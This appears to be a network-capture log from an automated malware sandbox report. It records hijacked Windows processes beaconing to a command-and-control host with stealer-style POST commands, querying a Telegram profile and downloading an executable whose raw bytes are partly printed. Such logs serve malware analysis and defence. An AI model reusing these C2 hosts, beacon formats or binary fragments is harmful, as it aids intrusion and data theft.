2024-09-06 06:17:48 UTC	845	IN	Data Raw: 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 Data Ascii: dden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></s
2024-09-06 06:17:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49771	104.21.10.172	443	7508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:50 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=UUOFWhuuwYuY.kabjHj7o96D61lAGsStIibOP.iArD8-1725603468-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: condedqpwqm.shop
2024-09-06 06:17:50 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 45 36 55 48 4e 52 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=E6UHNR--&j=
2024-09-06 06:17:50 UTC	796	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ufugr4cc244mgk5veenhfce9su; expires=Tue, 31 Dec 2024 00:04:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sp%2F%2Bx3SCMxnfX53XoRKWf0qCnLhY7sE78hxbQgKqrvNXwg60S5Y7lRLOUi41xtaHXC6GsKEh4zWzQ5KcK4xgOCLFJsRnbrK8HJx%2FaBfH0YcF5zpnoAFNLEf7EhtwJLmKYY30"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec569b3f920f81-EWR alt-svc: h3=":443"; ma=86400
2024-09-06 06:17:50 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-06 06:17:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49777	149.154.167.99	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:58 UTC	85	OUT	GET /fneogr HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-09-06 06:17:58 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 06 Sep 2024 06:17:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12317 Connection: close Set-Cookie: stel_ssid=f3c4d6f56f5d888bd9_3268186582621973209; expires=Sat, 07 Sep 2024 06:17:58 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-06 06:17:58 UTC	12317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 66 6e 65 6f 67 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @fneogr</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49779	104.21.10.172	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:18:00 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: condedqpwqm.shop
2024-09-06 06:18:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-06 06:18:00 UTC	545	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ao3%2Bjvf3%2BdB4wA34u4ndPkhHPLmUr3JUagTP2rmyc0a3IkLDYW1aMSrnsHSoSpmjxEPTHRYOqxygFyj%2Fw5YDyHZHdkY52SKsAv0dO3DvEw8A83NVO4k2gQX1KIfSbf26L9Ef"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec56d87e3419f3-EWR
2024-09-06 06:18:00 UTC	824	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-06 06:18:00 UTC	1369	IN	Data Raw: 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 6c 65 Data Ascii: ors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-ale
2024-09-06 06:18:00 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 55 34 4e 45 55 37 73 68 50 46 49 4d 68 68 77 34 47 58 74 71 77 58 5a 61 6d 4f 68 64 57 34 4e 6f 42 47 2e 2e 30 5a 36 71 5f 79 63 2d 31 37 32 35 36 30 33 34 38 30 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 Data Ascii: <input type="hidden" name="atok" value="U4NEU7shPFIMhhw4GXtqwXZamOhdW4NoBG..0Z6q_yc-1725603480-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="b
2024-09-06 06:18:00 UTC	843	IN	Data Raw: 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 70 61 Data Ascii: en">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></spa
2024-09-06 06:18:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49780	104.21.10.172	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:18:02 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=U4NEU7shPFIMhhw4GXtqwXZamOhdW4NoBG..0Z6q_yc-1725603480-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: condedqpwqm.shop
2024-09-06 06:18:02 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-09-06 06:18:03 UTC	792	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m2mt6aijhihfq669mdrr3ukcbc; expires=Tue, 31 Dec 2024 00:04:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eVEikToHY17GVSZlvCjBIxkkQE40qdXQ0d9AXGu1fMSMfZGRD%2FMI3qkuEHnd9jk5u07QWmv6o9UsxceOCH7UOokSFacgn3ZRmhhh4qSQTwtOOe0DR93RIRPEISkCC9yWmsb6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec56e86b158c6b-EWR alt-svc: h3=":443"; ma=86400
2024-09-06 06:18:03 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-06 06:18:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49788	194.163.35.141	443	5744	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:18:28 UTC	79	OUT	GET /1.exe HTTP/1.1 Host: smkn2sumbawabesar.sch.id Connection: Keep-Alive
2024-09-06 06:18:28 UTC	358	IN	HTTP/1.1 200 OK Connection: close content-type: application/x-executable last-modified: Fri, 06 Sep 2024 02:18:04 GMT etag: "6a800-66da665c-809658ca37269c0c;;;" accept-ranges: bytes content-length: 436224 date: Fri, 06 Sep 2024 06:18:28 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6f f1 1d ab 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 9e 06 00 00 08 00 00 00 00 00 00 0e bc 06 00 00 20 00 00 00 c0 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 07 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELo"0 @ `
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 50 20 00 00 00 00 86 18 bd 14 26 00 34 00 ac 21 00 00 00 00 96 00 f7 33 4e 00 34 00 50 20 00 00 00 00 86 18 bd 14 26 00 34 00 40 3c 00 00 00 00 96 00 26 06 62 01 34 00 50 20 00 00 00 00 86 18 bd 14 26 00 35 00 50 20 00 00 00 00 86 18 bd 14 26 00 35 00 78 3c 00 00 00 00 83 00 20 00 26 00 35 00 70 3d 00 00 00 00 e1 01 32 1a 26 00 35 00 c2 21 00 00 00 00 e1 01 77 08 5a 00 35 00 38 3e 00 00 00 00 96 00 3f 22 5e 01 36 00 b4 3e 00 00 00 00 96 00 5a 38 5e 01 36 00 50 20 00 00 00 00 86 18 bd 14 26 00 36 00 50 20 00 00 00 00 86 18 bd 14 26 00 36 00 d0 21 00 00 00 00 83 00 49 00 26 00 36 00 dd 21 00 00 00 00 96 08 88 0d 5e 01 36 00 e5 21 00 00 00 00 96 08 91 14 5e 01 36 00 ed 21 00 00 00 00 96 08 4f 07 5e 01 36 00 f6 21 00 00 00 00 96 08 26 0d 7d 01 36 00 fd 21 00 Data Ascii: P &4!3N4P &4@<&b4P &5P &5x< &5p=2&5!wZ58>?"^6>Z8^6P &6P &6!I&6!^6!^6!O^6!&}6!
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: b8 e3 83 9e 00 e3 82 8c e3 82 b5 e3 80 83 e3 83 87 4b e3 81 81 e3 81 b0 e3 83 a3 e3 82 a6 e3 82 87 e3 83 bf e3 82 a3 e3 83 95 e3 83 b9 e3 83 9e 00 e3 83 b6 e3 82 94 77 e3 82 91 e3 83 8a e3 82 a8 e3 83 9c e3 83 9e e3 83 a7 76 e3 82 a6 e3 82 a3 73 e3 82 8d e3 81 9f 00 e3 83 bd e3 80 92 e3 82 ba 64 e3 82 92 e3 81 ae 5a e3 82 bd 46 e3 83 87 e3 82 b4 e3 81 98 e3 81 b7 e3 81 af e3 82 9f 00 e3 81 b1 50 e3 83 9d e3 83 9b e3 81 be e3 81 b9 5a e3 82 a1 e3 81 84 e3 83 b8 e3 82 9c e3 83 ae e3 81 9a e3 81 b4 e3 82 a0 00 78 e3 81 ab e3 83 88 65 e3 83 b8 79 e3 81 b6 e3 83 bb e3 82 82 e3 81 b0 e3 83 99 e3 83 a0 55 44 78 e3 83 83 e3 83 b4 e3 82 a0 00 49 e3 81 a3 e3 81 ab e3 82 aa 56 e3 81 92 e3 82 bd 77 62 e3 82 b0 6e 5a e3 80 92 e3 82 9f e3 82 a7 e3 82 84 50 e3 83 a0 00 Data Ascii: KwvsdZFPZxeyUDxIVwbnZP
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 00 02 00 37 00 3c 00 3e 00 06 00 2f 00 1e 00 20 00 47 00 14 00 5e 00 64 00 2d 00 6b 00 0b 00 1f 00 10 00 76 00 25 00 33 00 3e 00 54 00 35 00 22 00 4d 00 7f 00 52 00 25 00 01 00 1a 00 3b 00 12 00 26 00 03 00 20 00 1e 00 16 00 2d 00 4d 00 29 00 18 00 0e 00 0c 00 12 00 3c 00 37 00 19 00 14 00 51 00 37 00 02 00 14 00 76 00 14 00 02 00 3f 00 46 00 79 00 40 00 05 00 5b 00 04 00 15 00 36 00 2e 00 7c 00 06 00 0f 00 1a 00 05 00 2a 00 30 00 24 00 2e 00 60 00 0b 00 16 00 30 00 29 00 2f 00 2e 00 2e 00 1b 00 1e 00 0e 00 0c 00 2c 00 2e 00 1a 00 25 00 45 00 62 00 28 00 18 00 20 00 15 00 15 00 04 00 38 00 1f 00 38 00 05 00 2d 00 2a 00 1c 00 04 00 6d 00 16 00 38 00 33 00 1e 00 20 00 29 00 18 00 5d 00 2f 00 31 00 21 00 00 00 07 00 0f 00 0e 00 57 00 28 00 09 00 2e 00 40 00 Data Ascii: 7<>/ G^d-kv%3>T5"MR%;& -M)<7Q7v?Fy@[6.\|0$.`0)/..,.%Eb( 88-m83 )]/1!W(.@
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 00 17 00 0e 00 0a 00 20 00 32 00 0f 00 1c 00 33 00 12 00 15 00 4e 00 00 00 2a 00 65 00 35 00 7f 00 2e 00 15 00 17 00 45 00 13 00 35 00 3a 00 76 00 14 00 7b 00 7c 00 10 00 57 00 16 00 44 00 10 00 05 00 21 00 13 00 47 00 08 00 1f 00 2b 00 08 00 47 00 06 00 6f 00 35 00 38 00 39 00 1d 00 37 00 09 00 15 00 20 00 26 00 06 00 1b 00 4b 00 07 00 30 00 02 00 58 00 60 00 2c 00 20 00 47 00 72 00 14 00 07 00 26 00 33 00 18 00 3f 00 22 00 27 00 47 00 1a 00 5e 00 37 00 2a 00 28 00 36 00 7e 00 5a 00 76 00 1b 00 06 00 77 00 26 00 09 00 04 00 09 00 7f 00 7d 00 69 00 04 00 35 00 21 00 22 00 0a 00 27 00 1d 00 15 00 32 00 0c 00 4b 00 75 00 14 00 2f 00 7e 00 3c 00 36 00 01 00 19 00 32 00 5a 00 07 00 23 00 1e 00 24 00 30 00 4b 00 2a 00 42 00 2e 00 41 00 2d 00 5d 00 13 00 27 00 Data Ascii: 23Ne5.E5:v{\|WD!G+Go5897 &K0X`, Gr&3?"'G^7(6~Zvw&}i5!"'2Ku/~<62Z#$0K*B.A-]'
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 00 15 00 27 00 38 00 3b 00 0a 00 56 00 12 00 37 00 05 00 2d 00 6b 00 22 00 16 00 6a 00 45 00 2e 00 1f 00 7c 00 3b 00 4e 00 08 00 33 00 49 00 09 00 2c 00 0b 00 0b 00 1f 00 05 00 3d 00 36 00 27 00 32 00 09 00 39 00 34 00 27 00 56 00 0b 00 12 00 44 00 15 00 0f 00 05 00 34 00 65 00 18 00 2b 00 26 00 0c 00 2f 00 0a 00 71 00 23 00 1b 00 29 00 0f 00 09 00 0d 00 64 00 57 00 33 00 23 00 72 00 1b 00 15 00 39 00 14 00 0c 00 32 00 3b 00 26 00 3f 00 28 00 4f 00 39 00 1b 00 31 00 37 00 0e 00 2f 00 02 00 21 00 0f 00 10 00 26 00 04 00 70 00 47 00 23 00 7e 00 10 00 25 00 0a 00 24 00 77 00 21 00 09 00 3d 00 4f 00 0e 00 34 00 2f 00 28 00 4d 00 0a 00 4b 00 62 00 2a 00 3b 00 10 00 7e 00 57 00 25 00 23 00 30 00 3b 00 2f 00 0c 00 01 00 3d 00 30 00 0a 00 00 00 3d 00 0b 00 38 00 Data Ascii: '8;V7-k"jE.\|;N3I,=6'294'VD4e+&/q#)dW3#r92;&?(O917/!&pG#~%$w!=O4/(MKb*;~W%#0;/=0=8
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 00 26 00 20 00 5d 00 22 00 06 00 2f 00 4b 00 0e 00 1d 00 79 00 72 00 09 00 57 00 60 00 0f 00 75 00 33 00 29 00 58 00 47 00 2a 00 56 00 28 00 0d 00 20 00 2d 00 4b 00 25 00 2a 00 6b 00 06 00 2f 00 09 00 02 00 5a 00 24 00 29 00 3f 00 3d 00 34 00 46 00 2d 00 0c 00 07 00 09 00 25 00 11 00 72 00 31 00 33 00 58 00 27 00 16 00 0e 00 19 00 7a 00 12 00 36 00 4e 00 02 00 5c 00 65 00 46 00 01 00 0c 00 7e 00 53 00 3d 00 75 00 12 00 20 00 00 00 2c 00 1b 00 5f 00 27 00 18 00 17 00 07 00 0e 00 35 00 1e 00 5c 00 4f 00 3e 00 54 00 28 00 09 00 3f 00 15 00 78 00 07 00 2a 00 16 00 1b 00 0a 00 50 00 0c 00 5d 00 04 00 13 00 25 00 40 00 09 00 30 00 35 00 73 00 08 00 59 00 63 00 39 00 02 00 14 00 03 00 32 00 37 00 75 00 01 00 4b 00 3f 00 46 00 74 00 08 00 16 00 0d 00 67 00 4b 00 Data Ascii: & ]"/KyrW`u3)XGV( -K%k/Z$)?=4F-%r13X'z6N\eF~S=u ,_'5\O>T(?x*P]%@05sYc927uK?FtgK
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 1c 00 75 00 3d 00 16 00 70 00 44 00 0e 00 0a 00 2d 00 5f 00 6b 00 17 00 01 00 09 00 3e 00 00 00 04 00 36 00 16 00 16 00 05 00 3b 00 2d 00 52 00 0b 00 29 00 07 00 46 00 00 00 56 00 1a 00 0c 00 24 00 21 00 36 00 49 00 09 00 06 00 75 00 56 00 09 00 3c 00 66 00 0f 00 77 00 22 00 2a 00 18 00 45 00 0c 00 36 00 1b 00 0d 00 26 00 04 00 72 00 13 00 25 00 21 00 22 00 2d 00 05 00 16 00 1e 00 0c 00 14 00 2b 00 39 00 06 00 38 00 38 00 68 00 29 00 05 00 3b 00 14 00 07 00 05 00 33 00 5a 00 44 00 33 00 2b 00 36 00 25 00 0c 00 2e 00 4c 00 1b 00 26 00 28 00 45 00 02 00 09 00 3c 00 58 00 4f 00 3b 00 20 00 4b 00 1a 00 11 00 07 00 53 00 01 00 22 00 2a 00 1a 00 21 00 01 00 18 00 59 00 0c 00 3e 00 56 00 4f 00 30 00 4d 00 7a 00 49 00 35 00 5d 00 31 00 45 00 70 00 0c 00 20 00 31 Data Ascii: u=pD-_k>6;-R)FV$!6IuV<fw"E6&r%!"-+988h);3ZD3+6%.L&(E<XO; KS"!Y>VO0MzI5]1Ep 1
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 0a 00 73 00 50 00 21 00 27 00 2d 00 1a 00 0d 00 28 00 0b 00 3b 00 46 00 14 00 54 00 2c 00 23 00 43 00 09 00 08 00 09 00 08 00 4c 00 21 00 5c 00 06 00 09 00 0b 00 1c 00 0d 00 1b 00 22 00 18 00 4e 00 7a 00 17 00 04 00 72 00 38 00 74 00 52 00 1f 00 3f 00 07 00 4a 00 73 00 51 00 09 00 27 00 4e 00 04 00 0d 00 35 00 29 00 26 00 1e 00 77 00 1a 00 06 00 6b 00 20 00 37 00 32 00 2e 00 52 00 06 00 77 00 2a 00 13 00 7b 00 18 00 30 00 08 00 69 00 19 00 17 00 25 00 28 00 37 00 7d 00 2e 00 20 00 29 00 0d 00 4e 00 12 00 24 00 15 00 63 00 32 00 3f 00 28 00 29 00 27 00 33 00 76 00 1f 00 20 00 20 00 00 00 2b 00 13 00 27 00 39 00 5b 00 36 00 12 00 63 00 44 00 37 00 29 00 25 00 0f 00 45 00 23 00 31 00 1a 00 12 00 11 00 24 00 50 00 65 00 14 00 04 00 06 00 12 00 05 00 17 00 3d Data Ascii: sP!'-(;FT,#CL!\"Nzr8tR?JsQ'N5)&wk 72.Rw*{0i%(7}. )N$c2?()'3v +'9[6cD7)%E#1$Pe=
2024-09-06 06:18:29 UTC	16384	IN	Data Raw: 3d 00 3b 00 1f 00 4c 00 76 00 03 00 74 00 57 00 2b 00 26 00 39 00 1a 00 36 00 10 00 19 00 23 00 0a 00 73 00 2d 00 49 00 1a 00 03 00 25 00 4a 00 37 00 01 00 3b 00 2b 00 37 00 2e 00 25 00 2f 00 19 00 26 00 2a 00 1d 00 06 00 03 00 79 00 52 00 34 00 0a 00 07 00 3b 00 36 00 36 00 7a 00 31 00 04 00 07 00 31 00 04 00 72 00 25 00 02 00 54 00 15 00 14 00 23 00 1d 00 32 00 52 00 29 00 09 00 21 00 34 00 01 00 3d 00 72 00 0d 00 01 00 60 00 33 00 1b 00 60 00 36 00 14 00 55 00 1f 00 06 00 25 00 26 00 13 00 3e 00 75 00 1f 00 30 00 08 00 1f 00 2c 00 38 00 36 00 0c 00 56 00 37 00 05 00 37 00 71 00 2b 00 4b 00 13 00 1e 00 23 00 61 00 60 00 25 00 2b 00 3b 00 1e 00 2b 00 0e 00 13 00 06 00 33 00 04 00 22 00 77 00 1c 00 2b 00 58 00 66 00 12 00 63 00 35 00 27 00 25 00 07 00 5e Data Ascii: =;LvtW+&96#s-I%J7;+7.%/&*yR4;66z11r%T#2R)!4=r`3`6U%&>u0,86V77q+K#a`%+;+3"w+Xfc5'%^

